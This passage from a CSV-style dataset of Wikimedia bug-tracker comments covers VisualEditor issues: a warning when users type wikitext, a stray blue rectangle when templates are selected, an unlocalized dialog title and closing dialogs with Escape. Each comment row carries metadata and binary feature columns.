+This was already reported as bug 50870, adjusting.",,,1373982306,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1
+252586,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","**ignatzmice.wiki** wrote:
+
+(In reply to comment #21)
+> What about having the balloon (https://github.com/wikimedia/jquery-tipsy ?)
+> pointing exactly to the position where the wikitext was found?
+
+That might work pretty well too, especially if the balloon is a prominently ""warning"" color (as suggested somewhere by someone). I personally would be in favor of a big in-your-face notification, but I accept that not everyone will.",,,1373980188,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1,1,0,1,1,1,1,0,1,0,0,1
+252583,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor",What about having the balloon (https://github.com/wikimedia/jquery-tipsy ?) pointing exactly to the position where the wikitext was found?,,,1373979657,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0
+252577,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","**ignatzmice.wiki** wrote:
+
+(In reply to comment #18)
+> Created MW bug for position fixed. Due to the possibility of false positives,
+> having a blocking confirmation box may be too obtrusive.
+
+I dunno. I don't see a lot of false positives coming out of Filter 550. If you're really concerned, there could be a setting in the VE prefs to turn it off. (I definitely would NOT want a ""don't show again"" in the popup itself—too easy to get rid of it without clearly understanding what it means.)",,,1373973971,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+252571,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor",Depends on bug 51432,,,1373973173,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+252570,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","Created MW bug for position fixed. Due to the possibility of false positives, having a blocking confirmation box may be too obtrusive.",,,1373973112,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+252568,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor",Actually this is a general problem with jsMessages is general. They should be placed at a fixed position on the page.,,,1373956593,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+252565,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor",http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Wikitext_warning_probably_won.27t_be_seen_by_most_editors for some more detailed info on pieces of it.,,,1373951338,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,0
+252560,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor",I'm reopening this as it seems to be the best place. There is definitely an issue with the warning being only on top and so you really don't have to be scrolled down that much before you don't see the warning.,,,1373951190,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,1,0
+252555,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","**ignatzmice.wiki** wrote:
+
+The little box is not nearly obtrusive enough. It should be a popup (like the ""are you sure you want to thank this user?"" popup) that says the same thing as the warning, but requires confirmation (even a sole ""OK"" button would be fine, so long as it actually disrupts the editor's typing).",,,1373950172,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0
+252552,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","Just tried this out - seems to be an issue.  If you are scrolled down far enough on an article, the warning is never seen.  It's tied to the top of the page. You can go all the way through the save process and only see the message once the new version loads.  I suspect this might be reducing the effectiveness of the notice.  (FF 22, OS 10.6.8)",,,1373949582,,PHID-USER-ttyyrgsrkyonct7hizgv,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,0,1,1,0,0,1,0,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+252550,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor",Feature to do this is now merged and will be deployed tomorrow.,,,1373855518,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+252547,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","Change 73569 merged by jenkins-bot:
+Warn users when they are typing wikitext
+
+https://gerrit.wikimedia.org/r/73569",,,1373855446,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+252543,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","Change 73569 had a related patch set uploaded by Catrope:
+Warn users when they are typing wikitext
+
+https://gerrit.wikimedia.org/r/73569",,,1373854895,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+252537,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","**ignatzmice.wiki** wrote:
+
+(In reply to comment #7)
+> (In reply to comment #6)
+> > A permanently dismissible first-use reminder may be sufficient. I suggest we
+> > try that and see if it significantly reduces incidents of wikitext insertion.
+> > See bug 50601 for discussion.
+> 
+> Habits die hard. When you've been entering wikitext manually for the past 12
+> years, it's _really_ hard to change your habits. I really doubt a ""first-use
+> reminder"" will be enough.
+
+Yes, this. I recognized the problem first time I did it, and it still happens.",,,1373844634,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+252528,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","(In reply to comment #4)
+> I have already suggested bug 50527 as a possible solution to this problem. An
+> automatic tag and then manual correction would be a simple-to-implement
+> interim
+> measure, if not long term.
+
+Bug 50527 proposes that the edit go through, WITHOUT warning the editor of his/her mistake; instead, the edit summary gets a tag showing that a problem exists with the *completed* edit. Given that the software can detect this error, it makes more sense to give the editor who made the mistake a chance to fix it *before* the edit is completed - ideally, not to allow the edit to be completed with the error intact within in. That way, (a) the editor is more likely not to make the mistake again, and (b) if the editor who made the mistake fixes it before finalizing his/her edit, there is no need for a second (corrective) edit (and no need for someone to be monitoring recent changes for the tag proposed in bug 50527).",,,1373662680,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,1,,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,1
+252523,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","(In reply to comment #6)
+> A permanently dismissible first-use reminder may be sufficient. I suggest we
+> try that and see if it significantly reduces incidents of wikitext insertion.
+> See bug 50601 for discussion.
+
+Habits die hard. When you've been entering wikitext manually for the past 12 years, it's _really_ hard to change your habits. I really doubt a ""first-use reminder"" will be enough; I still expect people to add [[ inside VisualEditor in 5 years. All drivers learn what the speed limits are before they get their driving license, but there are still speed limit signs on the roads :)
+
+A guided tour is indeed a great idea, but _in addition_ to an always-shown-when-wikitext-is-detected warning, not as a replacement, imho.",,,1373656626,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+252517,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor",A permanently dismissible first-use reminder may be sufficient. I suggest we try that and see if it significantly reduces incidents of wikitext insertion. See bug 50601 for discussion.,,,1372986202,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+252512,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor",And bug 50093 for an alternative [[ suggestion.,,,1372878170,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1
+252505,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","I have already suggested bug 50527 as a possible solution to this problem. An automatic tag and then manual correction would be a simple-to-implement interim measure, if not long term.",,,1372862368,,PHID-USER-65pjzcmoby2fsgzdrfjq,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+252501,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor",%%%*** Bug 50581 has been marked as a duplicate of this bug. ***%%%,,,1372859187,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+252497,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","""What Chris said"". I'd like to know the rationale for the priority rating on this; it's the biggest source of article corruption.",,,1372844611,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,1,0
+252493,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor",Why is this marked low priority? It is causing problems on the live wiki with people unable to figure out why their edit has not worked - the VE hides the nowiki tags it has inserted so its impossible to determine the cause unless one knows about this feature (which I've not seen in documentation) or uses the misnamed edit source.,,,1372844039,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+51818,VisualEditor: Top left corner of the window shows blue rectangle when selecting templates in Firefox,"screenshot
+
+When selecting some templates in VisualEditor, a blue rectangle appears in the top left corner of the browser's window, and disappears when the template is unselected.
+
+Encountered on https://en.wikipedia.org/wiki/User:Jdforrester_%28WMF%29/Sandbox?veaction=edit (see screenshot)
+
+Firefox 21.0 on openSUSE 12.3
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50074
+
+**Attached**: {F11783}",High,80.0,1371649560,1373512100.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-sidkh5inlhdkyygqassz,task_description,resolved,True,c1,2,False,False,True,-2,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+252424,VisualEditor: Top left corner of the window shows blue rectangle when selecting templates in Firefox,Appears resolved.,,,1373536056,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-sidkh5inlhdkyygqassz,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+252421,VisualEditor: Top left corner of the window shows blue rectangle when selecting templates in Firefox,"(In reply to comment #7)
+> As noted by JamesF in 50161, this still occurs (Vector, Chrome, Win 7).
+> Screenshot while editing ref. #6 in
+> http://it.wikipedia.org/wiki/Utente:Syrio/Bozzoli , you need to click at
+> least
+> a few times on the sentence before the puzzle piece pops up. It will allow
+> you
+> to edit the reference and save the page as usual. It might be worth noting
+> that
+> the page features a page title and a magic word. Thanks.
+
+I now can't reproduce this - can you check too? (We did a new release today which should have fixed this for good.)",,,1373512100,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sidkh5inlhdkyygqassz,task_subcomment,,True,c1,3,True,,,1,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1
+252417,VisualEditor: Top left corner of the window shows blue rectangle when selecting templates in Firefox,"As noted by JamesF in 50161, this still occurs (Vector, Chrome, Win 7).
+Screenshot while editing ref. #6 in http://it.wikipedia.org/wiki/Utente:Syrio/Bozzoli , you need to click at least a few times on the sentence before the puzzle piece pops up. It will allow you to edit the reference and save the page as usual. It might be worth noting that the page features a page title and a magic word. Thanks.",,,1373440558,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-sidkh5inlhdkyygqassz,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,0
+252412,VisualEditor: Top left corner of the window shows blue rectangle when selecting templates in Firefox,"Created attachment 12812
+Light blue bar issue still occurring
+
+**Attached**: {F11784}",,,1373440247,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-sidkh5inlhdkyygqassz,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+252407,VisualEditor: Top left corner of the window shows blue rectangle when selecting templates in Firefox,Fixed and will go out in the next release.,,,1372461348,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sidkh5inlhdkyygqassz,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+252399,VisualEditor: Top left corner of the window shows blue rectangle when selecting templates in Firefox,"Change 71118 merged by jenkins-bot:
+Don't draw highlights over hidden elements.
+
+https://gerrit.wikimedia.org/r/71118",,,1372458730,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sidkh5inlhdkyygqassz,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+252393,VisualEditor: Top left corner of the window shows blue rectangle when selecting templates in Firefox,"Change 71118 had a related patch set uploaded by Robmoen:
+Don't draw highlights over hidden elements.
+
+https://gerrit.wikimedia.org/r/71118",,,1372452480,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sidkh5inlhdkyygqassz,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+252386,VisualEditor: Top left corner of the window shows blue rectangle when selecting templates in Firefox,"Confirmed, happens in firefox and chrome.",,,1372118693,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-sidkh5inlhdkyygqassz,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+252381,VisualEditor: Top left corner of the window shows blue rectangle when selecting templates in Firefox,%%%*** Bug 50074 has been marked as a duplicate of this bug. ***%%%,,,1372118661,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-sidkh5inlhdkyygqassz,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+51817,VisualEditor: Image dialog shows <visualeditor-dialog-media-content-section> instead of actual message,"Encountered on: https://en.wikipedia.org/wiki/Westplex?veaction=edit
+Firefox 21.0 on openSuse 12.3
+
+When opening the ""Media settings"" overlay by clicking the icon on the image, the title shows <visualeditor-dialog-media-content-section> instead of what I assume should be the actual system message.
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",High,80.0,1371649140,1371748706.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-n7i2eetsofstfrmijiw5,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+252350,VisualEditor: Image dialog shows <visualeditor-dialog-media-content-section> instead of actual message,Fixed by gerrit 69497 which we will try to get pushed today.,,,1371657503,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n7i2eetsofstfrmijiw5,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+51809,VisualEditor: Pressing escape should close a dialog,"Like we do with the link inspector.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1371644280,1372378620.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-ovbuk7vqve57dhhhvnh7,task_description,resolved,True,c1,2,True,False,True,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
